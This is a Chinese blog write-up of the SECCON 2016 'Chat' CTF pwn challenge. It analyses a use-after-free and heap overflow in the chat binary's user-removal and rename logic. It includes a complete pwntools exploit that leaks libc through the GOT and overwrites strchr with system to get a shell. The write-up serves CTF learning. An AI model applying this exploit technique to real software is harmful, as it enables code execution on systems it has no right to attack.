[SECCON CTF 2016 Quals] Chat 分析与思考

博客详细分析了一款名为SimpleChatService的聊天室程序,指出其存在用户修改用户名时导致的Use-After-Free漏洞。作者展示了如何通过堆溢出复写函数指针,最终实现远程代码执行。文章涵盖了程序功能、漏洞原理、利用步骤和完整exploit代码,揭示了程序的安全风险。
摘要由CSDN通过智能技术生成

        CTFSHOW吃瓜杯,PWN方向第三题竟是SECCON原题,于是当时没有仔细研究,直接套用了其他大佬的EXP(第二第三第四题都是各大比赛的原题,网上可以直接找到写好的EXP......)

        既然现在比赛结束了,正好来补一下WP。收获很大,说明我还非常菜.....

正文:

函数:

        Main:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v3; // eax
  int v4; // eax
  int v6; // [rsp+0h] [rbp-B0h]
  _QWORD *v7; // [rsp+8h] [rbp-A8h] BYREF
  char v8[136]; // [rsp+10h] [rbp-A0h] BYREF
  unsigned __int64 v9; // [rsp+98h] [rbp-18h]

  v9 = __readfsqword(0x28u);
  v7 = 0LL;
  fwrite("Simple Chat Service\n", 1uLL, 0x14uLL, stdout);
  do
  {
    if ( v7 )
    {
      service(v7);
      logout(&v7);
    }
    fwrite("\n1 : Sign Up\t2 : Sign In\n0 : Exit\nmenu > ", 1uLL, 0x29uLL, stdout);
    v3 = getint();
    v6 = v3;
    if ( v3 )
    {
      if ( v3 < 0 || v3 > 2 )
      {
        fwrite("Wrong Input...\n", 1uLL, 0xFuLL, stderr);
      }
      else
      {
        fwrite("name > ", 1uLL, 7uLL, stdout);
        getnline(v8, 32LL);
        if ( v6 == 1 )
          v4 = signup(v8);
        else
          v4 = login(&v7, v8);
        if ( v4 == 1 )
          fwrite("Success!\n", 1uLL, 9uLL, stdout);
        else
          fwrite("Failure...\n", 1uLL, 0xBuLL, stderr);
      }
    }
  }
  while ( v6 );
  return fwrite("Thank you for using Simple Chat Service!\n", 1uLL, 0x29uLL, stdout);
}

        Service: 

unsigned __int64 __fastcall service(_QWORD *a1)
{
  unsigned int v1; // eax
  int v2; // eax
  int v4; // [rsp+14h] [rbp-9Ch]
  __int64 v5; // [rsp+18h] [rbp-98h]
  char v6[136]; // [rsp+20h] [rbp-90h] BYREF
  unsigned __int64 v7; // [rsp+A8h] [rbp-8h]

  v7 = __readfsqword(0x28u);
  fwrite("\nService Menu\n", 1uLL, 0xEuLL, stdout);
  do
  {
    fwrite(
      "\n"
      "1 : Show TimeLine\t2 : Show DM\t3 : Show UsersList\n"
      "4 : Send PublicMessage\t5 : Send DirectMessage\n"
      "6 : Remove PublicMessage\t\t7 : Change UserName\n"
      "0 : Sign Out\n"
      "menu >> ",
      1uLL,
      0xA3uLL,
      stdout);
    v4 = getint();
    switch ( v4 )
    {
      case 0:
        break;
      case 1:
        get_tweet(0LL);
        break;
      case 2:
        get_tweet(a1);
        break;
      case 3:
        list_users();
        break;
      case 4:
        fwrite("message >> ", 1uLL, 0xBuLL, stdout);
        getnline(v6, 0x80LL);
        post_tweet(a1, 0LL, v6);
        break;
      case 5:
        fwrite("name >> ", 1uLL, 8uLL, stdout);
        getnline(v6, 32LL);
        v5 = get_user(v6);
        if ( v5 )
        {
          fwrite("message >> ", 1uLL, 0xBuLL, stdout);
          getnline(v6, 128LL);
          post_tweet(a1, v5, v6);
        }
        else
        {
          fprintf(stderr, "User '%s' does not exist.\n", v6);
        }
        break;
      case 6:
        fwrite("id >> ", 1uLL, 6uLL, stdout);
        v1 = getint();
        v2 = remove_tweet(a1, v1);
        if ( v2 == -1 )
        {
          fwrite("Can not remove other user's message.\n", 1uLL, 0x25uLL, stderr);
        }
        else if ( !v2 )
        {
          fwrite("Message not found.\n", 1uLL, 0x13uLL, stderr);
        }
        break;
      case 7:
        fwrite("name >> ", 1uLL, 8uLL, stdout);
        getnline(v6, 32LL);
        if ( change_name(a1, v6) < 0 )
          v4 = 0;
        break;
      default:
        fwrite("Wrong Input...\n", 1uLL, 0xFuLL, stderr);
        break;
    }
    if ( v4 )
      fwrite("Done.\n", 1uLL, 6uLL, stdout);
  }
  while ( v4 );
  return __readfsqword(0x28u) ^ v7;
}

        程序大致实现了一个聊天室功能,能够注册、公共频道发消息、私信等等。

        审计代码时务必要捋清每个变量的意义,否则会因为大量的指针而失去方向。

         如下结构体为程序所用到的两个结构,整个程序从头到尾都只会对这两个结构进行操作,当然,要得出这样的结构体需要经过仔细的审计,其过程本文不再赘述,仅提供结果以方便之后的理解

struct user {
    char *name;
    struct message *msg;
    struct user *next_user;
}

struct message {
    int id ; // use in tweet (public message) only
    struct user *sender;
    char content[128];
    struct message *next_msg;
}

漏洞分析与利用:

__int64 __fastcall change_name(_QWORD *a1, const char *a2)
{
......
  else
  {
    fwrite("Change name error...\n", 1uLL, 0x15uLL, stderr);
    remove_user(a1);
    result = 0xFFFFFFFFLL;
  }
  return result;
}
void __fastcall remove_user(__int64 a1)
{
  __int64 i; // [rsp+18h] [rbp-18h]
  _QWORD *ptr; // [rsp+20h] [rbp-10h]
  _QWORD *v3; // [rsp+28h] [rbp-8h]
  _QWORD *v4; // [rsp+28h] [rbp-8h]
  void *v5; // [rsp+28h] [rbp-8h]

  for ( ptr = *(a1 + 8); ptr; ptr = v3 )
  {
    v3 = ptr[18];
    free(ptr);
  }
  for ( i = tl; i; i = *(i + 144) )
  {
    if ( *(i + 0x90) && *(*(i + 144) + 8LL) == a1 )
    {
      v4 = *(i + 144);
      *(i + 144) = v4[18];
      free(v4);
    }
  }
  if ( tl && *(tl + 8) == a1 )
  {
    v5 = tl;
    tl = *(tl + 144);
    free(v5);
  }
  free(*a1);
  free(a1);
}

        remove_user函数在程序中异常的扎眼。当用户尝试修改用户名时将进行检测,如果用户名的首字母是不可打印字符,就会直接将这个用户删除。但在remove_user中可以看见,并没有对free后的指针进行置NULL,看起来像是UAF,但该漏洞并不体现在free上,而是在该函数的逻辑上

        该函数将按如下顺序释放内存块:

  1. 将发送给该目标的私信message 释放
  2. 将该用户发送到公频的message 释放
  3. 将该用户的name 释放
  4. 将该用户本身释放

        但是,它并没有将该用户发送给其他用户的私信message释放,那么在其他用户看来,当该用户被删除之后,私信会变成什么样?如下过程进行了测试,笔者以F2按键按下的内容作为用户“aa”的新名字让其被删除,再显示用户“bb”收到的内容

Simple Chat Service

1 : Sign Up	2 : Sign In
0 : Exit
menu > 1
name > aa
Success!

1 : Sign Up	2 : Sign In
0 : Exit
menu > 1
name > bb
Success!

1 : Sign Up	2 : Sign In
0 : Exit
menu > 2
name > aa
Hello, aa!
Success!

Service Menu

1 : Show TimeLine	2 : Show DM	3 : Show UsersList
4 : Send PublicMessage	5 : Send DirectMessage
6 : Remove PublicMessage		7 : Change UserName
0 : Sign Out
menu >> 5
name >> bb
message >> from a
Done.

1 : Show TimeLine	2 : Show DM	3 : Show UsersList
4 : Send PublicMessage	5 : Send DirectMessage
6 : Remove PublicMessage		7 : Change UserName
0 : Sign Out
menu >> 7
name >> ^[OQ
Change name error...
Bye, 

1 : Sign Up	2 : Sign In
0 : Exit
menu > 2
name > bb
Hello, bb!
Success!

Service Menu

1 : Show TimeLine	2 : Show DM	3 : Show UsersList
4 : Send PublicMessage	5 : Send DirectMessage
6 : Remove PublicMessage		7 : Change UserName
0 : Sign Out
menu >> 2
Direct Messages
[] from a
Done.

        收到私信显示的名字出现了异常,但消息仍然能被显示出来

__int64 __fastcall get_tweet(__int64 a1)
{
  const char *v1; // rax
  __int64 v2; // rax
  unsigned int v4; // [rsp+1Ch] [rbp-14h]
  unsigned int *v5; // [rsp+20h] [rbp-10h]
  char *format; // [rsp+28h] [rbp-8h]

  if ( a1 )
    fprintf(stdout, "Direct Messages\n");
  else
    fprintf(stdout, "Time Line\n");
  if ( a1 )
    v1 = "[%s] %s\n";
  else
    v1 = "(%3$03d)[%s] %s\n";
  format = v1;
  v4 = 0;
  if ( a1 )
    v2 = *(a1 + 8);
  else
    v2 = tl;
  v5 = v2;
  while ( v5 )
  {
    fprintf(stdout, format, **(v5 + 1), v5 + 4, *v5);
    v5 = *(v5 + 18);
    ++v4;
  }
  return v4;
}

        显示规则如上,此处的变量 a1 为指向当前登录用户结构体的指针

        输出的名字为 **(v5 + 1) 

        既然该消息没有被释放,那么此处构成UAF(Use After Free),只要能够操作 *(v5+1) 的内容,就能泄露任意地址的内容

        *(v5+1) 为一个指向 name 的指针,在创建账号的时候会开辟一个user,然后再开辟一个name:

__int64 __fastcall signup(const char *a1)
{
  __int64 result; // rax
  int v2; // [rsp+14h] [rbp-Ch]
  _QWORD *ptr; // [rsp+18h] [rbp-8h]

  if ( get_user(a1) )
  {
    fprintf(stderr, "User '%s' already exists\n", a1);
    result = 0LL;
  }
  else
  {
    ptr = malloc(0x18uLL);
    v2 = hash(a1);
    if ( v2 >= 0 )
    {
      *ptr = strdup(a1);
      ptr[1] = 0LL;
      ptr[2] = user_tbl[v2];
      user_tbl[v2] = ptr;
      result = 1LL;
    }
    else
    {
      free(ptr);
      fwrite("Signup failed...\n", 1uLL, 0x11uLL, stderr);
      result = 0xFFFFFFFFLL;
    }
  }
  return result;
}

        特别的是,name通过strdup开辟(该函数会为字符串自动开辟合适大小空间然后进行拷贝)

        如果名字只有16个字符之内,strdup只开辟0x20大小空间,但名字能有32个字符,如果使用名字长达30,该函数就会开辟0x30大小的字符

        但如果其开辟了0x20,而用户通过改名来改为更长的字符就能实现堆溢出(0x20中只有0x10用于储存字符,而0x30中则有0x20储存内容)

        堆溢出在此处可以用于复写下一个chunk的size,构成heap overflow

        以及,在注销用户时也会按顺序先释放name再释放user,申请的时候会先申请user再申请name,我们的目的是让某个被注销的name重新被申请为某个user,这样在get_tweet时候得到的name指针即为新用户的name字段内容,该字段能通过change_name任意写地址

        至此,利用UAF泄露libc基址

        接下来是如何让程序执行 system("/bin/sh")

        基本思路是通过复写某个函数,让程序在调用时执行system

        其中目的函数为 strchr,原因如下:

int getint()
{
  int result; // eax
  char nptr[136]; // [rsp+0h] [rbp-A0h] BYREF
  unsigned __int64 v2; // [rsp+88h] [rbp-18h]

  v2 = __readfsqword(0x28u);
  memset(nptr, 0, 0x80uLL);
  if ( getnline(nptr, 128LL) )
    result = atoi(nptr);
  else
    result = 0;
  return result;
}
size_t __fastcall getnline(char *a1, int a2)
{
  char *v3; // [rsp+18h] [rbp-8h]

  fgets(a1, a2, stdin);
  v3 = strchr(a1, 10);
  if ( v3 )
    *v3 = 0;
  return strlen(a1);
}

        main函数中通过getint函数来获取参数,倘若输入“/bin/sh”,则在getnline中执行
 

        strchr("/bin/sh",10)

         替换之后就会变成

        system("/bin/sh")

        不过有些需要注意:

.got.plt:0000000000603018 off_603018      dq offset free          ; DATA XREF: _free↑r
.got.plt:0000000000603020 off_603020      dq offset strlen        ; DATA XREF: _strlen↑r
.got.plt:0000000000603028 off_603028      dq offset __stack_chk_fail
.got.plt:0000000000603028                                         ; DATA XREF: ___stack_chk_fail↑r
.got.plt:0000000000603030 off_603030      dq offset setbuf        ; DATA XREF: _setbuf↑r
.got.plt:0000000000603038 off_603038      dq offset strchr        ; DATA XREF: _strchr↑r
.got.plt:0000000000603040 off_603040      dq offset __libc_start_main
.got.plt:0000000000603040                                         ; DATA XREF: ___libc_start_main↑r
.got.plt:0000000000603048 off_603048      dq offset fgets         ; DATA XREF: _fgets↑r
.got.plt:0000000000603050 off_603050      dq offset strcmp        ; DATA XREF: _strcmp↑r
.got.plt:0000000000603058 off_603058      dq offset fprintf       ; DATA XREF: _fprintf↑r
.got.plt:0000000000603060 off_603060      dq offset __gmon_start__
.got.plt:0000000000603060                                         ; DATA XREF: ___gmon_start__↑r
.got.plt:0000000000603068 off_603068      dq offset tolower       ; DATA XREF: _tolower↑r
.got.plt:0000000000603070 off_603070      dq offset malloc        ; DATA XREF: _malloc↑r
.got.plt:0000000000603078 off_603078      dq offset isprint       ; DATA XREF: _isprint↑r
.got.plt:0000000000603080 off_603080      dq offset atoi          ; DATA XREF: _atoi↑r
.got.plt:0000000000603088 off_603088      dq offset fwrite        ; DATA XREF: _fwrite↑r
.got.plt:0000000000603090 off_603090      dq offset strdup        ; DATA XREF: _strdup↑r

        本例中笔者通过 got表中的__libc_start_main 来泄露基址,但其他函数又是否可行呢?如下为got表对应的内容:

gdb-peda$ tel 0x0000000000603018 16
0000| 0x603018 --> 0x7f974f791540 (<__GI___libc_free>:	push   r13)
0008| 0x603020 --> 0x7f974f7987a0 (<strlen>:	pxor   xmm0,xmm0)
0016| 0x603028 --> 0x4007f6 (<__stack_chk_fail@plt+6>:	push   0x2)
0024| 0x603030 --> 0x7f974f7836c0 (<setbuf>:	mov    edx,0x2000)
0032| 0x603038 --> 0x7f974f796b30 (<__strchr_sse2>:	movd   xmm1,esi)
0040| 0x603040 --> 0x7f974f72d750 (<__libc_start_main>:	push   r14)
0048| 0x603048 --> 0x7f974f77aae0 (<_IO_fgets>:	test   esi,esi)
0056| 0x603050 --> 0x7f974f7ac5f0 (<__strcmp_sse2_unaligned>:	mov    eax,edi)
0064| 0x603058 --> 0x7f974f762780 (<__fprintf>:	sub    rsp,0xd8)
0072| 0x603060 --> 0x400866 (<__gmon_start__@plt+6>:	push   0x9)
0080| 0x603068 --> 0x7f974f73ae70 (<tolower>:	lea    edx,[rdi+0x80])
0088| 0x603070 --> 0x7f974f791180 (<__GI___libc_malloc>:	push   rbp)
0096| 0x603078 --> 0x7f974f73add0 (<isprint>:	mov    rax,QWORD PTR [rip+0x396041]        # 0x7f974fad0e18)
0104| 0x603080 --> 0x7f974f743e90 (<atoi>:	sub    rsp,0x8)
0112| 0x603088 --> 0x7f974f77b6f0 (<__GI__IO_fwrite>:	push   r14)
0120| 0x603090 --> 0x7f974f7984f0 (<__GI___strdup>:	push   rbp)

        如下函数为change_name时的检查:

__int64 __fastcall hash(char *a1)
{
  int v2; // [rsp+1Ch] [rbp-4h]

  if ( !a1 )
    return 0xFFFFFFFFLL;
  v2 = tolower(*a1);
  if ( !isprint(v2) )
    return 0xFFFFFFFFLL;
  if ( v2 > 96 && v2 <= 122 )
    return (v2 - 96);
  return 0LL;
}

        在change_name时若没能通过该检查(第一个字符可打印),则会注销用户

        如果我们替换__GI___libc_malloc函数地址,替换之前先进入hash函数进行检测,而0x7f974f791180 最后一个字符0x80为不可打印字符,则会因为free(got)导致程序crash,其他函数也是同理

        而反观__libc_start_main函数地址0x7f974f72d750 ,最后一个字符为0x50,为可打印字符,因此才能正常通过检测,并成功leak

        最后则需要伪造chunk来复写strchr的地址,笔者的exp完成leak之后,bins的情况如下

fastbins
0x30: 0x17730a0 ◂— 0x0
unsortedbin
all: 0x1773060 —▸ 0x7f3718172b78 (main_arena+88) ◂— 0x1773060
smallbins
0xa0: 0x1773170 —▸ 0x7f3718172c08 (main_arena+232) ◂— 0x1773170

         0x1773060与用户malusr的user空间比较近,这块区域实则就是因为先前的remove_user而留下的,通过修改该内存块的size位即可完成heap overflow,然后通过post_tweet的方式构造payload,将0x60302a覆盖到user中的name指针处,使得该name指向0x60302a处,接下来就只需要通过change_name即可任意写got表了

完整EXP:

#coding=utf-8
from pwn import *
import sys
reload(sys)
sys.setdefaultencoding('utf8')
context.log_level='debug'


def signup(name):
	p.sendlineafter('>','1')
	p.sendlineafter('>',name)

def signin(name):
	p.sendlineafter('>','2')
	p.sendlineafter('>',name)

def changename(name):
	p.sendlineafter('>>','7')
	p.sendlineafter('>>',name)

def tweet(msg):
	p.sendlineafter('>>','4')
	p.sendlineafter('>>',msg)
def dm(user,msg):
	p.sendlineafter('>>','5')
	p.sendlineafter('>>',user)
	p.sendlineafter('>>',msg)	
def signout():
	p.sendlineafter('>>','0')


#p=remote("node4.buuoj.cn",27256)
p=process('./chat_seccon_2016')
elf=ELF('./chat_seccon_2016')
libc=elf.libc
ua="AAAA"
ub='BBBB'
uc='C'*30
signup(ua)
signup(ub)
signup(uc)
#gdb.attach(p)
signin(ua)
tweet("aaaa")
signout()

signin(ub)
tweet("bbbb")
dm(ua,'BA')
dm(uc,"BC")
signout()

signin(uc)
tweet("cccc")
signout()


signin(ub)
changename("\t")

signin(uc)
changename("\t")

gdb.attach(p)

ud='d'*7
signup(ud)
signin(ud)
for i in xrange(6,2,-1):
	changename('d'*i)


malusr = p64(elf.got['__libc_start_main'])
changename(malusr)
signout()

signin(ua)
p.sendlineafter(">> ", "2") 
p.recvuntil("[")
libc.address += u64(p.recv(6).ljust(8,"\x00")) - libc.symbols['__libc_start_main']
print hex(libc.address)
system=libc.symbols['system']
signout()

signin(malusr)
tweet("bins")

changename("i"*24+p8(0xa1))
changename(p8(0x40))
tweet("7"*16+p64(0x60302a))
changename("A"*6+"B"*8+p64(system))
p.sendlineafter(">> ", "/bin/sh\x00")
p.interactive()

         最后几行笔者打算做些适当的说明:

changename("i"*24+p8(0xa1))
changename(p8(0x40))
tweet("7"*16+p64(0x60302a))
changename("A"*6+"B"*8+p64(system))
p.sendlineafter(">> ", "/bin/sh\x00")
p.interactive()

         第一行通过堆溢出复写chunk的size,使得然后在change_name

        第二行则是为了绕过change_name中的检测:

  if ( user_tbl[v3] == a1 )
  {
    user_tbl[v3] = a1[2];
  }
  else
  {
    for ( i = user_tbl[v3]; i && *(i + 16) != a1; i = *(i + 16) )
      ;
    if ( !i )
      return 0xFFFFFFFFLL;
    *(i + 16) = a1[2];
  }

        如果缺少该行,第4行将会因为上述检测返回“-1”导致没能正确写入 

        经过笔者的测试,最终只要保证修改内容为“非字母”均可通过

       其原因为:第二行的复写让当前用户user指针被放入user_tbl,而在第4行时将对user_tbl进行检测;由于我们选择了__stack_chk_fail的最后一个字节作为新chunk的size位,其值为0x40,将会获得索引“0”,如果第二行使用任意“字母”,则返回的索引均为“非零”值,在上述检测里就没办法通过第一个判断了,而在另外一个循环里更加难以通过检查,因此事先user指针放入user_tbl[0]中,然后在接下来的改名里绕过检查

        最后就是一系列的复写了

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值